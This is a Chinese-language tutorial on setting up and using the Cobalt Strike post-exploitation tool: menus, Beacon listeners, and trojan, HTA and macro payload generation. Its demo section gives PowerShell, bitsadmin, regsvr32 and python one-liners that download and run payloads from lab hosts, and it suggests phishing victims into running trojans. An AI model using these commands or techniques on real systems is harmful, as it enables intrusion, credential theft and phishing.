CobaltStrike简介
Cobalt Strike(简称为CS)是一款团队作战渗透测试神器,是一种可以用来进行横 向移动、数据窃取、鱼叉式钓鱼的后渗透工具,分为客户端和服务端,一个客户端可 以连接多个服务端,一个服务端也可以对应多个客户端连接。
CobaltStrike基本使用
CS安装
1.Linux安装JDK
apt search java | grep jdk
apt install openjdk-11-jdk
2.Windows安装JDK
下载JDK: https://www.oracle.com/java/technologies/downloads/#java8-windows
Oracle公共账号密码:http://bugmenot.com/view/oracle.com
3.环境变量配置
Java_Home => C:\Program files\jdk1.8.0_216
CLASSPATH => .;JAVA_HOME%\lib;%JAVA_HOME\lib\tools.jar
PATH => %JAVA_HOME%\bin;%JAVA_HOME\jre\bin
CS启动
1.启动服务端
chmod +x teamserver
./teamserver [server_ipaddress] [password]
2.启动客户端
./cobaltstrike
Alias:别名,用户名@服务端IP地址
Host :服务端IP地址,可为域名
Port:服务端口号,默认50050,可进行修改
User:用户名,可随意填写,只要不冲突即可
Password: 登录密码,启动服务端时设置的密码
CS界面介绍
- Connect to team server:连接服务端
- Disonnect from team server:断开当前服务端连接
- Configure Listeners:配置监听器
- Show sessions in graph view:展示会话列表
- Show sessions in table view:展示视图列表
- Show targets in table view:展示目标列表
- Credentials:查看从靶机获取的账户密码
- Downloaded Files:查看从靶机下载的文件
- Keystrokes:查看键盘记录
- Screenshots:查看屏幕截图
- Generate Windows Executable (Stageless):生成无状态的EXE木马
- Setup java Signed Applet Attack:开启Web服务为自签名Java Applet提供运行 环境
- MS Office Macro Attack:生成OFFICE宏病毒文件
- Setup Scripted Web-Delivery (Stageless):开启Web服务,供下载和执行 Payload
- Host a file:开启Web服务,供下载文件
- Manage Web Server:管理Web服务
- Help:帮助文档 18. About:关于Cobalt Strike
CobaltStrike菜单
- New Connection:进行另外一个连接,支持连接多个服务器端
- Preferences:设置Cobal Strike界面、控制台、以及输出报告样式TeamServer 连接记录
- Visualization:主要展示输出结果的形式
- VPN Interfaces:设置VPN接口
- Listenrs:创建一个Listener
- Script Manager:脚本管理
- Close:退出连接
View菜单
- Applications:显示受害主机的应用信息,浏览器版本信息
- Credentials:显示所有已获取的受害主机的凭证,如使用hashdump、 Mimikatz获取到的密码凭证信息
- Downloads:查看已下载文件
- Event Log:主机上线记录以及团队协作聊天记录
- Keystrokes:查看键盘记录结果
- Proxy Pivots:查看代理模块
- Screenshots:查看所有屏幕截图
- Script Console:脚本控制台,加载第三方脚本以增强功能
- Targets:显示所有受害主机
- Web Log :所有访问Web服务的日志记录
Attack菜单
- packages • HTML Application生成(executable/VBA/powershell)这三种原理实现的恶意 HTA木马文件 (html应用程序) • MS Office Macro:生成office宏病毒文件 • Payload Generator:生成各种语言版本的payload(常用) • Windows Executable:生成可执行exe木马 • Windows Executable(Stageless):生成无状态的可执行exe木马
- Web Drive-by • Manage对开启的web服务进行管理 Clone Site:克隆网站,可以记录受害者提交的数据 • Host File:提供一个文件下载,可以修改Mime信息 • Scripted Web Delivery:为payload提供web服务以便下载和执行 类似于 Metasploit的web_delivery • Signed Applet Attack:使用java自签名的程序进行钓鱼攻击(该方式已过时) • Smart Applet Attack:自动检测java版本并进行攻击,针对Java 1.6.0_45以下以 及Java 1.7.0_21以下版本 • System Profiler :用来获取一些系统信息,比如系统版本,Flash版本,浏览器 版本等 • Spear Phish :用来邮件钓鱼的模块,鱼叉钓鱼攻击
3. Spear Phish
• HTML Application:生成一个网页Payload 。三种执行模式:EXE执行、PowerShell、VBA
• Executable:是以十六进制的方式内嵌一个EXE到HTA里,运行时会把exe释放到磁 盘然后创建进程运行
• Powershell:HTA调用powershell.exe执行payload
• VBA:通过调用COM组件来执行payload(请确保目标机有Excel.Application组件否则 会运行失败,注:组件源自Office)
Windows Executable
首先是一个传输器载荷,主要用于客户端和服务的之间的连接,建立后再下载一个传输体载荷,生成可执行文件。(体积小几百k)
Windows EXE
Windows Service EXE
Windows DLL
Windows Executable(s)
具有完成功能的beacon,生成可执行文件还有powershell以及动态链接库(大小几千k)
PowerShell
Raw Windows EXE
Windows Service EXE
Windows DLL
Beacon右键菜单
Access:
- Dump Hashes # 获取hash
- Elevate # 提权
- Golden Ticket # 生成黄金票据注入当前会话
- Make token # 凭证转换
- Run Mimikatz # 运行 Mimikatz
- Spawn As # 用其他用户生成Cobalt Strike侦听器
Explore:
- Browser Pivot # 劫持目标浏览器进程
- Desktop(VNC) # 桌面交互
- File Browser # 文件浏览器
- Net View # 命令Net View
- Port Scan # 端口扫描
- Process List # 进程列表
- Screenshot # 截图
Pivoting:
- SOCKS Server # 代理服务
- Listener # 反向端口转发
- Deploy VPN # 部署VPN
Spawn:外部监听器(如指派给MSF,获取meterpreter权限)
Session:
- Note # 备注
- Remove # 删除
- Sleep # 指定被控端休眠时间,默认60秒一次回传
- Exit # 退出
CobaltStrike监听器详解
Beacon介绍
Beacon是Cobalt Strike运行在目标主机上的payload,Beacon在隐蔽信道上我们提供服务,用于长期控制受感染主机。它的工作方式与Metasploit Framework Payload类似。在实际渗透过程中,我们可以将其嵌入到可执行文件、添加到Word 文档或者通过利用主机漏洞来传递Beacon。
Beacon分类
根据内置 Listener 的分类可以将Beacon进行分类, Listener 是用来接收 Beacon 请求信息的 Cobalt Strike 模块。
1.内部beacon:
• Beacon DNS
• Beacon HTTP
• Beacon HTTPS
• Beacon SMB
• Beacon TCP
2.外部beacon: 与其他工具联合使用时才会使用到,一般用来派生会话到MSF
• Foreign HTTP
• Foreign HTTPS
Name:监听器名字
Payload:选择Beacon类型
HTTP Hosts:配置HTTP Beacon回连主机地址
HTTP Host (Stager):配置分阶段payload,Stager的请求地址,仅当Payload明 确需要Stager配合时有效
HTTP Port (C2):配置HTTP Beacon回连的监听端口
Host Rotation Strategy:CS4.3新增,在 beacon 通信时,可以选择更多的轮询 方案以逃避检测、阻断, beacon 回连主机策略
Profile: Malleable C2 配置文件,用于自定义通信流量特征
HTTP Port (Bind):绑定监听端口,实现端口重定向
HTTP Host Header:设置内层真实域名,在使用域前置技术时使用
HTTP Proxy:为Payload指定代理
Beacon工作原理
Beacon HTTP/HTTPS : 以HTTP或HTTPS协议建立Beacon连接
- HTTP Beacon payload连接到C2控制器,它会发起一个GET请求,获取来自C2 控制器的执行操作任务
- 如果C2控制器有要执行的任务,那么它会响应一组包含payload执行的所有任务 的加密数据
- 否则HTTP Beacon payload会返回到睡眠状态,我们可以在payload配置中设置 时间周期。
- 当Payload执行任务后产生输出时,HTTP Beacon payload会通过一个包含加密 数据的POST请求发送给C2,这个POST请求中包含任务运行后的输出。如果没有 输出,那么就没有这个POST请求。
Beacon SMB
以SMB协议流量建立Beacon连接,适用于内网横向
SMB Beacon 使用命名管道通过父级 Beacon 进行通讯,当两个Beacons链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacon 使用 Windows 命名 管道进行通信,此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时 可能发挥奇效。
前提条件:
- 具有 SMB Beacon 的主机必须接受 445 端口上的连接。
- 只能链接由同一个 CobaltStrike 实例管理的 Beacon 。
- 利用这种 Beacon 横移必须有目标主机的管理员权限或者说是拥有具有管理员权 限的凭据。
功能实操演示
提供文件下载
Host File
提供一个文件下载服务,可以修改Mime信息.
浏览器访问它 : http://192.168.42.132:8012/99.html 就可以直接下载文件。
托管恶意软件
Scripted Web Delivery
开启一个web服务托管payload,并根据选择的类型生成一个命令行来执行 payload 上线。
5种类型的命令,最后三个是windows系统内置的。常用的是powershell的方式,记得勾选上x64的payload。
exe:
http://172.26.2.28:807/e.exe
python:
python -c "import urllib2; exec urllib2.urlopen('http://172.26.2.28:807/a').read();"
powershell:
powershell.exe -nop -w hidden -c "IEX ((new-objectnet.webclient).downloadstring('http://172.26.2.28:808/a'))"
bitsadmin:
cmd.exe /c bitsadmin /transfer 7d0f http://172.26.2.28:807/b%APPDATA%\7d0f.exe&%APPDATA%\7d0f.exe&del %APPDATA%\7d0f.exe
regsvr32:
regsvr32 /s /n /u /i:http://172.26.2.28:807/d scrobj.dll
在目标机器上执行命令: powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://192.168.42.132:80/a’))”
执行后会发现成功上线cs。
分析目标浏览器以及版本
System Profiler
访问前先在视图里找到web log ,点击看看,然后去再去访问,会看见有日志信息,可以在里面查看到目标系统的使用的浏览器版本信息那些的,进行一个信息的收集。
hta远程上线
1.生成 HTML 应用程序(HTA)文件:Attacks > Packages > HTML Application
2.要先配置一个监听器,主要用到powershell的方式,且免杀有优点。
3.生成文件后,上传到目标机器,或者钓鱼引诱人家下载去执行,还可以利用托管文件让人下载,执行就可上线。
4.在windows里面有个内置命令 mshta ,它可以执行hta的文件,当拿到一台机器的shell可以使用它来对托管文件的下载并执行。
无阶段木马上线
1.生成一个无阶段木马,要先配置监听器,默认生成的名字是beacon.exe ,可以直接在windows系统上执行。
2.执行它,会在cs上看见它上线,而且方式是用的beacon,而不是前面的powershell类型。
版权归原作者 00zzz 所有, 如有侵权,请联系我们删除。